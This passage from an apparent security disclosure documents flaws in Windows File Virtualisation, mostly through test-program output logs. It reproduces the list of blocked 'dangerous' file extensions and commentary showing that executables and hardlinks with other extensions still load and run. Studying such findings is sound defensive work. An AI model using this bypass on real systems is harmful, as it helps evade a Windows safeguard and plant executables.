'FILE_ATTRIBUTE_VIRTUAL' File 'C:\Windows\Blunder.efi' is virtualized as 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows\Blunder.efi' CreateProcess() returned error 193 for file 'C:\Windows\Blunder.efi' LoadLibrary() returned error 193 for file 'C:\Windows\Blunder.efi' Hardlink 'C:\Windows\Blunder.efi' has 'FILE_ATTRIBUTE_VIRTUAL' Hardlink 'C:\Windows\Blunder.efi' started as process 7800 with primary thread 13080 LoadLibrary() returned error 193 for hardlink 'C:\Windows\Blunder.efi' DeleteFile() returned error 5 for hardlink 'C:\Windows\Blunder.efi' CreateFile() returned error 5 for file 'C:\Windows\Blunder.exe' GetFileAttributes() returned error 2 for hardlink 'C:\Windows\Blunder.exe' CreateProcess() returned error 2 for hardlink 'C:\Windows\Blunder.exe' LoadLibrary() returned error 126 for hardlink 'C:\Windows\Blunder.exe' DeleteFile() returned error 2 for hardlink 'C:\Windows\Blunder.exe' CreateFile() returned error 5 for file 'C:\Windows\Blunder.fon' GetFileAttributes() returned error 2 for hardlink 'C:\Windows\Blunder.fon' CreateProcess() returned error 2 for hardlink 'C:\Windows\Blunder.fon' LoadLibrary() returned error 126 for hardlink 'C:\Windows\Blunder.fon' DeleteFile() returned error 2 for hardlink 'C:\Windows\Blunder.fon' CreateFile() returned error 5 for file 'C:\Windows\Blunder.hlp' GetFileAttributes() returned error 2 for hardlink 'C:\Windows\Blunder.hlp' CreateProcess() returned error 2 for hardlink 'C:\Windows\Blunder.hlp' LoadLibrary() returned error 126 for hardlink 'C:\Windows\Blunder.hlp' DeleteFile() returned error 2 for hardlink 'C:\Windows\Blunder.hlp' CreateFile() returned error 5 for file 'C:\Windows\Blunder.hta' GetFileAttributes() returned error 2 for hardlink 'C:\Windows\Blunder.hta' CreateProcess() returned error 2 for hardlink 'C:\Windows\Blunder.hta' LoadLibrary() returned error 126 for hardlink 'C:\Windows\Blunder.hta' DeleteFile() returned error 2 for hardlink 'C:\Windows\Blunder.hta' CreateFile() returned error 5 for file 'C:\Windows\Blunder.ime' GetFileAttributes() returned error 2 for hardlink 'C:\Windows\Blunder.ime' CreateProcess() returned error 2 for hardlink 'C:\Windows\Blunder.ime' LoadLibrary() returned error 126 for hardlink 'C:\Windows\Blunder.ime' DeleteFile() returned error 2 for hardlink 'C:\Windows\Blunder.ime' CreateFile() returned error 5 for file 'C:\Windows\Blunder.inf' GetFileAttributes() returned error 2 for hardlink 'C:\Windows\Blunder.inf' CreateProcess() returned error 2 for hardlink 'C:\Windows\Blunder.inf' LoadLibrary() returned error 126 for hardlink 'C:\Windows\Blunder.inf' DeleteFile() returned error 2 for hardlink 'C:\Windows\Blunder.inf' CreateFile() returned error 5 for file 'C:\Windows\Blunder.ins' GetFileAttributes() returned error 2 for hardlink 'C:\Windows\Blunder.ins' CreateProcess() returned error 2 for hardlink 'C:\Windows\Blunder.ins' LoadLibrary() returned error 126 for hardlink 'C:\Windows\Blunder.ins' DeleteFile() returned error 2 for hardlink 'C:\Windows\Blunder.ins' File 'C:\Windows\Blunder.iso' has 'FILE_ATTRIBUTE_VIRTUAL' File 'C:\Windows\Blunder.iso' is virtualized as 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows\Blunder.iso' CreateProcess() returned error 193 for file 'C:\Windows\Blunder.iso' LoadLibrary() returned error 193 for file 'C:\Windows\Blunder.iso' Hardlink 'C:\Windows\Blunder.iso' has 'FILE_ATTRIBUTE_VIRTUAL' Hardlink 'C:\Windows\Blunder.iso' started as process 11284 with primary thread 4168 LoadLibrary() returned error 193 for hardlink 'C:\Windows\Blunder.iso' DeleteFile() returned error 5 for hardlink 'C:\Windows\Blunder.iso' CreateFile() returned error 5 for file 'C:\Windows\Blunder.isp' GetFileAttributes() returned error 2 for hardlink 'C:\Windows\Blunder.isp' CreateProcess() returned error 2 for hardlink 'C:\Windows\Blunder.isp' LoadLibrary() returned error 126 for hardlink 'C:\Windows\Blunder.isp' DeleteFile() returned error 2 for hardlink 'C:\Windows\Blunder.isp' CreateFile() returned error 5 for file 'C:\Windows\Blunder.its' GetFileAttributes() returned error 2 for hardlink 'C:\Windows\Blunder.its' CreateProcess() returned error 2 for hardlink 'C:\Windows\Blunder.its' LoadLibrary() returned error 126 for hardlink 'C:\Windows\Blunder.its' DeleteFile() returned error 2 for hardlink 'C:\Windows\Blunder.its' CreateFile() returned error 5 for file 'C:\Windows\Blunder.js' GetFileAttributes() returned error 2 for hardlink 'C:\Windows\Blunder.js' CreateProcess() returned error 2 for hardlink 'C:\Windows\Blunder.js' LoadLibrary() returned error 126 for hardlink 'C:\Windows\Blunder.js' DeleteFile() returned error 2 for hardlink 'C:\Windows\Blunder.js' CreateFile() returned error 5 for file 'C:\Windows\Blunder.jse' GetFileAttributes() returned error 2 for hardlink 'C:\Windows\Blunder.jse' CreateProcess() returned error 2 for hardlink 'C:\Windows\Blunder.jse' LoadLibrary() returned error 126 for hardlink 'C:\Windows\Blunder.jse' DeleteFile() returned error 2 for hardlink 'C:\Windows\Blunder.jse' CreateFile() returned error 5 for file 'C:\Windows\Blunder.lnk' GetFileAttributes() returned error 2 for hardlink 'C:\Windows\Blunder.lnk' CreateProcess() returned error 2 for hardlink 'C:\Windows\Blunder.lnk' LoadLibrary() returned error 126 for hardlink 'C:\Windows\Blunder.lnk' DeleteFile() returned error 2 for hardlink 'C:\Windows\Blunder.lnk' CreateFile() returned error 5 for file 'C:\Windows\Blunder.msc' GetFileAttributes() returned error 2 for hardlink 'C:\Windows\Blunder.msc' CreateProcess() returned error 2 for hardlink 'C:\Windows\Blunder.msc' LoadLibrary() returned error 126 for hardlink 'C:\Windows\Blunder.msc' DeleteFile() returned error 2 for hardlink 'C:\Windows\Blunder.msc' CreateFile() returned error 5 for file 'C:\Windows\Blunder.msi' GetFileAttributes() returned error 2 for hardlink 'C:\Windows\Blunder.msi' CreateProcess() returned error 2 for hardlink 'C:\Windows\Blunder.msi' LoadLibrary() returned error 126 for hardlink 'C:\Windows\Blunder.msi' DeleteFile() returned error 2 for hardlink 'C:\Windows\Blunder.msi' CreateFile() returned error 5 for file 'C:\Windows\Blunder.msp' GetFileAttributes() returned error 2 for hardlink 'C:\Windows\Blunder.msp' CreateProcess() returned error 2 for hardlink 'C:\Windows\Blunder.msp' LoadLibrary() returned error 126 for hardlink 'C:\Windows\Blunder.msp' DeleteFile() returned error 2 for hardlink 'C:\Windows\Blunder.msp' CreateFile() returned error 5 for file 'C:\Windows\Blunder.mst' GetFileAttributes() returned error 2 for hardlink 'C:\Windows\Blunder.mst' CreateProcess() returned error 2 for hardlink 'C:\Windows\Blunder.mst' LoadLibrary() returned error 126 for hardlink 'C:\Windows\Blunder.mst' DeleteFile() returned error 2 for hardlink 'C:\Windows\Blunder.mst' CreateFile() returned error 5 for file 'C:\Windows\Blunder.mui' GetFileAttributes() returned error 2 for hardlink 'C:\Windows\Blunder.mui' CreateProcess() returned error 2 for hardlink 'C:\Windows\Blunder.mui' LoadLibrary() returned error 126 for hardlink 'C:\Windows\Blunder.mui' DeleteFile() returned error 2 for hardlink 'C:\Windows\Blunder.mui' CreateFile() returned error 5 for file 'C:\Windows\Blunder.nls' GetFileAttributes() returned error 2 for hardlink 'C:\Windows\Blunder.nls' CreateProcess() returned error 2 for hardlink 'C:\Windows\Blunder.nls' LoadLibrary() returned error 126 for hardlink 'C:\Windows\Blunder.nls' DeleteFile() returned error 2 for hardlink 'C:\Windows\Blunder.nls' CreateFile() returned error 5 for file 'C:\Windows\Blunder.ocx' GetFileAttributes() returned error 2 for hardlink 'C:\Windows\Blunder.ocx' CreateProcess() returned error 2 for hardlink 'C:\Windows\Blunder.ocx' LoadLibrary() returned error 126 for hardlink 'C:\Windows\Blunder.ocx' DeleteFile() returned error 2 for hardlink 'C:\Windows\Blunder.ocx' CreateFile() returned error 5 for file 'C:\Windows\Blunder.pif' GetFileAttributes() returned error 2 for hardlink 'C:\Windows\Blunder.pif' CreateProcess() returned error 2 for hardlink 'C:\Windows\Blunder.pif' LoadLibrary() returned error 126 for hardlink 'C:\Windows\Blunder.pif' DeleteFile() returned error 2 for hardlink 'C:\Windows\Blunder.pif' CreateFile() returned error 5 for file 'C:\Windows\Blunder.reg' GetFileAttributes() returned error 2 for hardlink 'C:\Windows\Blunder.reg' CreateProcess() returned error 2 for hardlink 'C:\Windows\Blunder.reg' LoadLibrary() returned error 126 for hardlink 'C:\Windows\Blunder.reg' DeleteFile() returned error 2 for hardlink 'C:\Windows\Blunder.reg' CreateFile() returned error 5 for file 'C:\Windows\Blunder.scr' GetFileAttributes() returned error 2 for hardlink 'C:\Windows\Blunder.scr' CreateProcess() returned error 2 for hardlink 'C:\Windows\Blunder.scr' LoadLibrary() returned error 126 for hardlink 'C:\Windows\Blunder.scr' DeleteFile() returned error 2 for hardlink 'C:\Windows\Blunder.scr' CreateFile() returned error 5 for file 'C:\Windows\Blunder.sct' GetFileAttributes() returned error 2 for hardlink 'C:\Windows\Blunder.sct' CreateProcess() returned error 2 for hardlink 'C:\Windows\Blunder.sct' LoadLibrary() returned error 126 for hardlink 'C:\Windows\Blunder.sct' DeleteFile() returned error 2 for hardlink 'C:\Windows\Blunder.sct' CreateFile() returned error 5 for file 'C:\Windows\Blunder.shb' GetFileAttributes() returned error 2 for hardlink 'C:\Windows\Blunder.shb' CreateProcess() returned error 2 for hardlink 'C:\Windows\Blunder.shb' LoadLibrary() returned error 126 for hardlink 'C:\Windows\Blunder.shb' DeleteFile() returned error 2 for hardlink 'C:\Windows\Blunder.shb' CreateFile() returned error 5 for file 'C:\Windows\Blunder.shs' GetFileAttributes() returned error 2 for hardlink 'C:\Windows\Blunder.shs' CreateProcess() returned error 2 for hardlink 'C:\Windows\Blunder.shs' LoadLibrary() returned error 126 for hardlink 'C:\Windows\Blunder.shs' DeleteFile() returned error 2 for hardlink 'C:\Windows\Blunder.shs' CreateFile() returned error 5 for file 'C:\Windows\Blunder.sys' GetFileAttributes() returned error 2 for hardlink 'C:\Windows\Blunder.sys' CreateProcess() returned error 2 for hardlink 'C:\Windows\Blunder.sys' LoadLibrary() returned error 126 for hardlink 'C:\Windows\Blunder.sys' DeleteFile() returned error 2 for hardlink 'C:\Windows\Blunder.sys' CreateFile() returned error 5 for file 'C:\Windows\Blunder.tlb' GetFileAttributes() returned error 2 for hardlink 'C:\Windows\Blunder.tlb' CreateProcess() returned error 2 for hardlink 'C:\Windows\Blunder.tlb' LoadLibrary() returned error 126 for hardlink 'C:\Windows\Blunder.tlb' DeleteFile() returned error 2 for hardlink 'C:\Windows\Blunder.tlb' File 'C:\Windows\Blunder.tmp' has 'FILE_ATTRIBUTE_VIRTUAL' File 'C:\Windows\Blunder.tmp' is virtualized as 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows\Blunder.tmp' CreateProcess() returned error 193 for file 'C:\Windows\Blunder.tmp' LoadLibrary() returned error 193 for file 'C:\Windows\Blunder.tmp' Hardlink 'C:\Windows\Blunder.tmp' has 'FILE_ATTRIBUTE_VIRTUAL' Hardlink 'C:\Windows\Blunder.tmp' started as process 7860 with primary thread 12028 LoadLibrary() returned error 193 for hardlink 'C:\Windows\Blunder.tmp' DeleteFile() returned error 5 for hardlink 'C:\Windows\Blunder.tmp' CreateFile() returned error 5 for file 'C:\Windows\Blunder.tsp' GetFileAttributes() returned error 2 for hardlink 'C:\Windows\Blunder.tsp' CreateProcess() returned error 2 for hardlink 'C:\Windows\Blunder.tsp' LoadLibrary() returned error 126 for hardlink 'C:\Windows\Blunder.tsp' DeleteFile() returned error 2 for hardlink 'C:\Windows\Blunder.tsp' File 'C:\Windows\Blunder.ttf' has 'FILE_ATTRIBUTE_VIRTUAL' File 'C:\Windows\Blunder.ttf' is virtualized as 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows\Blunder.ttf' CreateProcess() returned error 193 for file 'C:\Windows\Blunder.ttf' LoadLibrary() returned error 193 for file 'C:\Windows\Blunder.ttf' Hardlink 'C:\Windows\Blunder.ttf' has 'FILE_ATTRIBUTE_VIRTUAL' Hardlink 'C:\Windows\Blunder.ttf' started as process 11116 with primary thread 1524 LoadLibrary() returned error 193 for hardlink 'C:\Windows\Blunder.ttf' DeleteFile() returned error 5 for hardlink 'C:\Windows\Blunder.ttf' CreateFile() returned error 5 for file 'C:\Windows\Blunder.url' GetFileAttributes() returned error 2 for hardlink 'C:\Windows\Blunder.url' CreateProcess() returned error 2 for hardlink 'C:\Windows\Blunder.url' LoadLibrary() returned error 126 for hardlink 'C:\Windows\Blunder.url' DeleteFile() returned error 2 for hardlink 'C:\Windows\Blunder.url' CreateFile() returned error 5 for file 'C:\Windows\Blunder.vb' GetFileAttributes() returned error 2 for hardlink 'C:\Windows\Blunder.vb' CreateProcess() returned error 2 for hardlink 'C:\Windows\Blunder.vb' LoadLibrary() returned error 126 for hardlink 'C:\Windows\Blunder.vb' DeleteFile() returned error 2 for hardlink 'C:\Windows\Blunder.vb' CreateFile() returned error 5 for file 'C:\Windows\Blunder.vbe' GetFileAttributes() returned error 2 for hardlink 'C:\Windows\Blunder.vbe' CreateProcess() returned error 2 for hardlink 'C:\Windows\Blunder.vbe' LoadLibrary() returned error 126 for hardlink 'C:\Windows\Blunder.vbe' DeleteFile() returned error 2 for hardlink 'C:\Windows\Blunder.vbe' CreateFile() returned error 5 for file 'C:\Windows\Blunder.vbs' GetFileAttributes() returned error 2 for hardlink 'C:\Windows\Blunder.vbs' CreateProcess() returned error 2 for hardlink 'C:\Windows\Blunder.vbs' LoadLibrary() returned error 126 for hardlink 'C:\Windows\Blunder.vbs' DeleteFile() returned error 2 for hardlink 'C:\Windows\Blunder.vbs' File 'C:\Windows\Blunder.wll' has 'FILE_ATTRIBUTE_VIRTUAL' File 'C:\Windows\Blunder.wll' is virtualized as 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows\Blunder.wll' CreateProcess() returned error 193 for file 'C:\Windows\Blunder.wll' LoadLibrary() returned error 193 for file 'C:\Windows\Blunder.wll' Hardlink 'C:\Windows\Blunder.wll' has 'FILE_ATTRIBUTE_VIRTUAL' Hardlink 'C:\Windows\Blunder.wll' started as process 13928 with primary thread 9784 LoadLibrary() returned error 193 for hardlink 'C:\Windows\Blunder.wll' DeleteFile() returned error 5 for hardlink 'C:\Windows\Blunder.wll' CreateFile() returned error 5 for file 'C:\Windows\Blunder.wsc' GetFileAttributes() returned error 2 for hardlink 'C:\Windows\Blunder.wsc' CreateProcess() returned error 2 for hardlink 'C:\Windows\Blunder.wsc' LoadLibrary() returned error 126 for hardlink 'C:\Windows\Blunder.wsc' DeleteFile() returned error 2 for hardlink 'C:\Windows\Blunder.wsc' CreateFile() returned error 5 for file 'C:\Windows\Blunder.wsf' GetFileAttributes() returned error 2 for hardlink 'C:\Windows\Blunder.wsf' CreateProcess() returned error 2 for hardlink 'C:\Windows\Blunder.wsf' LoadLibrary() returned error 126 for hardlink 'C:\Windows\Blunder.wsf' DeleteFile() returned error 2 for hardlink 'C:\Windows\Blunder.wsf' CreateFile() returned error 5 for file 'C:\Windows\Blunder.wsh' GetFileAttributes() returned error 2 for hardlink 'C:\Windows\Blunder.wsh' CreateProcess() returned error 2 for hardlink 'C:\Windows\Blunder.wsh' LoadLibrary() returned error 126 for hardlink 'C:\Windows\Blunder.wsh' DeleteFile() returned error 2 for hardlink 'C:\Windows\Blunder.wsh' File 'C:\Windows\Blunder.xll' has 'FILE_ATTRIBUTE_VIRTUAL' File 'C:\Windows\Blunder.xll' is virtualized as 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows\Blunder.xll' CreateProcess() returned error 193 for file 'C:\Windows\Blunder.xll' LoadLibrary() returned error 193 for file 'C:\Windows\Blunder.xll' Hardlink 'C:\Windows\Blunder.xll' has 'FILE_ATTRIBUTE_VIRTUAL' Hardlink 'C:\Windows\Blunder.xll' started as process 8184 with primary thread 3232 LoadLibrary() returned error 193 for hardlink 'C:\Windows\Blunder.xll' DeleteFile() returned error 5 for hardlink 'C:\Windows\Blunder.xll' 0xc1 (WIN32: 193 ERROR_BAD_EXE_FORMAT) -- 193 (193) Error message text: %1 is not a valid Win32 application. CertUtil: -error command completed successfully.OOPS¹: at least for the 49
dangerousextensions
.acm, .asa, .asp,
            .ax, .bat, .chm,
            .cmd, .cnt, .cnv,
            .com, .cpl, .crt,
            .dll, .drv, .exe,
            .fon, .hlp, .hta,
            .ime, .inf, .ins,
            .isp, .its, .js,
            .jse, .lnk, .msc,
            .msi, .msp, .mst,
            .mui, .nls, .ocx,
            .pif, .reg, .scr,
            .sct, .shb, .shs,
            .sys, .tlb, .tsp,
            .url, .vb, .vbe,
            .vbs, .wsc, .wsf and
            .wsh, File Virtualisation fails with
            Win32 error code 5 alias
            ERROR_ACCESS_DENIED!
         OUCH¹: contrary to the highlighted statement
            of the documentation cited above, executable files with the
            extensions .wll and .xll, which are used
            by Microsoft Word respectively
            Microsoft Excel for executable
            add-ins, can be created!
        
 OUCH²: indicated (intentionally here only) with
            the Win32 error code 193 alias
            ERROR_BAD_EXE_FORMAT,
            at least the Win32 functions
            CreateProcess()
            and
            LoadLibrary()
            load (and execute) virtualised files and hardlinks with (arbitrary)
            other extensions – I suspect that the developer(s) who built
            the list of dangerous
 extensions will be surprised to learn
            that black listing
 is doomed to fail!
        
OUCH³: contrary to the highlighted statement of the documentation cited above, hardlinks of (executable) files can be created with arbitrary extensions!
 OUCH⁴: access to virtualised hardlinks with
            dangerous
 extensions but fails with either the
            wrong Win32 error code 2 alias
            ERROR_FILE_NOT_FOUND
            or the wrong error code 126 alias
            ERROR_MOD_NOT_FOUND
            instead of the appropriate error code 5 alias
            ERROR_ACCESS_DENIED
            – File Virtualisation is
            seriously broken for
            hardlinks
            with dangerous
 extensions!
        
 Compile and link the source file blunder.c created in
            step 1. a second time, now with the preprocessor macro
            BLUNDER defined:
        
CL.EXE /DBLUNDER blunder.c kernel32.lib user32.lib
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c blunder.c(193) : warning C4090: 'function' : different 'const' qualifiers Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /MACHINE:I386 /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj kernel32.lib user32.lib
 Execute the console application blunder.exe built in
            step 4. and evaluate its exit code:
        
.\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
GetFileAttributes() returned error 2 for file 'C:\Windows:Blunder.acm' File 'C:\Windows:Blunder.acm' is virtualized as 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows:Blunder.acm' CreateProcess() returned error 2 for file 'C:\Windows:Blunder.acm' LoadLibrary() returned error 126 for file 'C:\Windows:Blunder.acm' DeleteFile() returned error 2 for file 'C:\Windows:Blunder.acm' GetFileAttributes() returned error 2 for file 'C:\Windows:Blunder.asa' File 'C:\Windows:Blunder.asa' is virtualized as 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows:Blunder.asa' CreateProcess() returned error 2 for file 'C:\Windows:Blunder.asa' LoadLibrary() returned error 126 for file 'C:\Windows:Blunder.asa' DeleteFile() returned error 2 for file 'C:\Windows:Blunder.asa' GetFileAttributes() returned error 2 for file 'C:\Windows:Blunder.asp' File 'C:\Windows:Blunder.asp' is virtualized as 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows:Blunder.asp' CreateProcess() returned error 2 for file 'C:\Windows:Blunder.asp' LoadLibrary() returned error 126 for file 'C:\Windows:Blunder.asp' DeleteFile() returned error 2 for file 'C:\Windows:Blunder.asp' GetFileAttributes() returned error 2 for file 'C:\Windows:Blunder.ax' File 'C:\Windows:Blunder.ax' is virtualized as 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows:Blunder.ax' CreateProcess() returned error 2 for file 'C:\Windows:Blunder.ax' LoadLibrary() returned error 126 for file 'C:\Windows:Blunder.ax' DeleteFile() returned error 2 for file 'C:\Windows:Blunder.ax' GetFileAttributes() returned error 2 for file 'C:\Windows:Blunder.bat' File 'C:\Windows:Blunder.bat' is virtualized as 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows:Blunder.bat' CreateProcess() returned error 2 for file 'C:\Windows:Blunder.bat' LoadLibrary() returned error 126 for file 'C:\Windows:Blunder.bat' DeleteFile() returned error 2 for file 'C:\Windows:Blunder.bat' GetFileAttributes() returned error 2 for file 'C:\Windows:Blunder.chm' File 'C:\Windows:Blunder.chm' is virtualized as 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows:Blunder.chm' CreateProcess() returned error 2 for file 'C:\Windows:Blunder.chm' LoadLibrary() returned error 126 for file 'C:\Windows:Blunder.chm' DeleteFile() returned error 2 for file 'C:\Windows:Blunder.chm' GetFileAttributes() returned error 2 for file 'C:\Windows:Blunder.cmd' File 'C:\Windows:Blunder.cmd' is virtualized as 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows:Blunder.cmd' CreateProcess() returned error 2 for file 'C:\Windows:Blunder.cmd' LoadLibrary() returned error 126 for file 'C:\Windows:Blunder.cmd' DeleteFile() returned error 2 for file 'C:\Windows:Blunder.cmd' GetFileAttributes() returned error 2 for file 'C:\Windows:Blunder.cnt' File 'C:\Windows:Blunder.cnt' is virtualized as 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows:Blunder.cnt' CreateProcess() returned error 2 for file 'C:\Windows:Blunder.cnt' LoadLibrary() returned error 126 for file 'C:\Windows:Blunder.cnt' DeleteFile() returned error 2 for file 'C:\Windows:Blunder.cnt' GetFileAttributes() returned error 2 for file 'C:\Windows:Blunder.cnv' File 'C:\Windows:Blunder.cnv' is virtualized as 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows:Blunder.cnv' CreateProcess() returned error 2 for file 'C:\Windows:Blunder.cnv' LoadLibrary() returned error 126 for file 'C:\Windows:Blunder.cnv' DeleteFile() returned error 2 for file 'C:\Windows:Blunder.cnv' GetFileAttributes() returned error 2 for file 'C:\Windows:Blunder.com' File 'C:\Windows:Blunder.com' is virtualized as 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows:Blunder.com' CreateProcess() returned error 2 for file 'C:\Windows:Blunder.com' LoadLibrary() returned error 126 for file 'C:\Windows:Blunder.com' DeleteFile() returned error 2 for file 'C:\Windows:Blunder.com' GetFileAttributes() returned error 2 for file 'C:\Windows:Blunder.cpl' File 'C:\Windows:Blunder.cpl' is virtualized as 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows:Blunder.cpl' CreateProcess() returned error 2 for file 'C:\Windows:Blunder.cpl' LoadLibrary() returned error 126 for file 'C:\Windows:Blunder.cpl' DeleteFile() returned error 2 for file 'C:\Windows:Blunder.cpl' GetFileAttributes() returned error 2 for file 'C:\Windows:Blunder.crt' File 'C:\Windows:Blunder.crt' is virtualized as 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows:Blunder.crt' CreateProcess() returned error 2 for file 'C:\Windows:Blunder.crt' LoadLibrary() returned error 126 for file 'C:\Windows:Blunder.crt' DeleteFile() returned error 2 for file 'C:\Windows:Blunder.crt' GetFileAttributes() returned error 2 for file 'C:\Windows:Blunder.dll' File 'C:\Windows:Blunder.dll' is virtualized as 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows:Blunder.dll' CreateProcess() returned error 2 for file 'C:\Windows:Blunder.dll' LoadLibrary() returned error 126 for file 'C:\Windows:Blunder.dll' DeleteFile() returned error 2 for file 'C:\Windows:Blunder.dll' GetFileAttributes() returned error 2 for file 'C:\Windows:Blunder.drv' File 'C:\Windows:Blunder.drv' is virtualized as 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows:Blunder.drv' CreateProcess() returned error 2 for file 'C:\Windows:Blunder.drv' LoadLibrary() returned error 126 for file 'C:\Windows:Blunder.drv' DeleteFile() returned error 2 for file 'C:\Windows:Blunder.drv' GetFileAttributes() returned error 2 for file 'C:\Windows:Blunder.efi' File 'C:\Windows:Blunder.efi' is virtualized as 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows:Blunder.efi' CreateProcess() returned error 2 for file 'C:\Windows:Blunder.efi' LoadLibrary() returned error 126 for file 'C:\Windows:Blunder.efi' DeleteFile() returned error 2 for file 'C:\Windows:Blunder.efi' GetFileAttributes() returned error 2 for file 'C:\Windows:Blunder.exe' File 'C:\Windows:Blunder.exe' is virtualized as 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows:Blunder.exe' CreateProcess() returned error 2 for file 'C:\Windows:Blunder.exe' LoadLibrary() returned error 126 for file 'C:\Windows:Blunder.exe' DeleteFile() returned error 2 for file 'C:\Windows:Blunder.exe' GetFileAttributes() returned error 2 for file 'C:\Windows:Blunder.fon' File 'C:\Windows:Blunder.fon' is virtualized as 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows:Blunder.fon' CreateProcess() returned error 2 for file 'C:\Windows:Blunder.fon' LoadLibrary() returned error 126 for file 'C:\Windows:Blunder.fon' DeleteFile() returned error 2 for file 'C:\Windows:Blunder.fon' GetFileAttributes() returned error 2 for file 'C:\Windows:Blunder.hlp' File 'C:\Windows:Blunder.hlp' is virtualized as 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows:Blunder.hlp' CreateProcess() returned error 2 for file 'C:\Windows:Blunder.hlp' LoadLibrary() returned error 126 for file 'C:\Windows:Blunder.hlp' DeleteFile() returned error 2 for file 'C:\Windows:Blunder.hlp' GetFileAttributes() returned error 2 for file 'C:\Windows:Blunder.hta' File 'C:\Windows:Blunder.hta' is virtualized as 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows:Blunder.hta' CreateProcess() returned error 2 for file 'C:\Windows:Blunder.hta' LoadLibrary() returned error 126 for file 'C:\Windows:Blunder.hta' DeleteFile() returned error 2 for file 'C:\Windows:Blunder.hta' GetFileAttributes() returned error 2 for file 'C:\Windows:Blunder.ime' File 'C:\Windows:Blunder.ime' is virtualized as 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows:Blunder.ime' CreateProcess() returned error 2 for file 'C:\Windows:Blunder.ime' LoadLibrary() returned error 126 for file 'C:\Windows:Blunder.ime' DeleteFile() returned error 2 for file 'C:\Windows:Blunder.ime' GetFileAttributes() returned error 2 for file 'C:\Windows:Blunder.inf' File 'C:\Windows:Blunder.inf' is virtualized as 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows:Blunder.inf' CreateProcess() returned error 2 for file 'C:\Windows:Blunder.inf' LoadLibrary() returned error 126 for file 'C:\Windows:Blunder.inf' DeleteFile() returned error 2 for file 'C:\Windows:Blunder.inf' GetFileAttributes() returned error 2 for file 'C:\Windows:Blunder.ins' File 'C:\Windows:Blunder.ins' is virtualized as 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows:Blunder.ins' CreateProcess() returned error 2 for file 'C:\Windows:Blunder.ins' LoadLibrary() returned error 126 for file 'C:\Windows:Blunder.ins' DeleteFile() returned error 2 for file 'C:\Windows:Blunder.ins' GetFileAttributes() returned error 2 for file 'C:\Windows:Blunder.iso' File 'C:\Windows:Blunder.iso' is virtualized as 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows:Blunder.iso' CreateProcess() returned error 2 for file 'C:\Windows:Blunder.iso' LoadLibrary() returned error 126 for file 'C:\Windows:Blunder.iso' DeleteFile() returned error 2 for file 'C:\Windows:Blunder.iso' GetFileAttributes() returned error 2 for file 'C:\Windows:Blunder.isp' File 'C:\Windows:Blunder.isp' is virtualized as 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows:Blunder.isp' CreateProcess() returned error 2 for file 'C:\Windows:Blunder.isp' LoadLibrary() returned error 126 for file 'C:\Windows:Blunder.isp' DeleteFile() returned error 2 for file 'C:\Windows:Blunder.isp' GetFileAttributes() returned error 2 for file 'C:\Windows:Blunder.its' File 'C:\Windows:Blunder.its' is virtualized as 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows:Blunder.its' CreateProcess() returned error 2 for file 'C:\Windows:Blunder.its' LoadLibrary() returned error 126 for file 'C:\Windows:Blunder.its' DeleteFile() returned error 2 for file 'C:\Windows:Blunder.its' GetFileAttributes() returned error 2 for file 'C:\Windows:Blunder.js' File 'C:\Windows:Blunder.js' is virtualized as 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows:Blunder.js' CreateProcess() returned error 2 for file 'C:\Windows:Blunder.js' LoadLibrary() returned error 126 for file 'C:\Windows:Blunder.js' DeleteFile() returned error 2 for file 'C:\Windows:Blunder.js' GetFileAttributes() returned error 2 for file 'C:\Windows:Blunder.jse' File 'C:\Windows:Blunder.jse' is virtualized as 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows:Blunder.jse' CreateProcess() returned error 2 for file 'C:\Windows:Blunder.jse' LoadLibrary() returned error 126 for file 'C:\Windows:Blunder.jse' DeleteFile() returned error 2 for file 'C:\Windows:Blunder.jse' GetFileAttributes() returned error 2 for file 'C:\Windows:Blunder.lnk' File 'C:\Windows:Blunder.lnk' is virtualized as 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows:Blunder.lnk' CreateProcess() returned error 2 for file 'C:\Windows:Blunder.lnk' LoadLibrary() returned error 126 for file 'C:\Windows:Blunder.lnk' DeleteFile() returned error 2 for file 'C:\Windows:Blunder.lnk' GetFileAttributes() returned error 2 for file 'C:\Windows:Blunder.msc' File 'C:\Windows:Blunder.msc' is virtualized as 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows:Blunder.msc' CreateProcess() returned error 2 for file 'C:\Windows:Blunder.msc' LoadLibrary() returned error 126 for file 'C:\Windows:Blunder.msc' DeleteFile() returned error 2 for file 'C:\Windows:Blunder.msc' 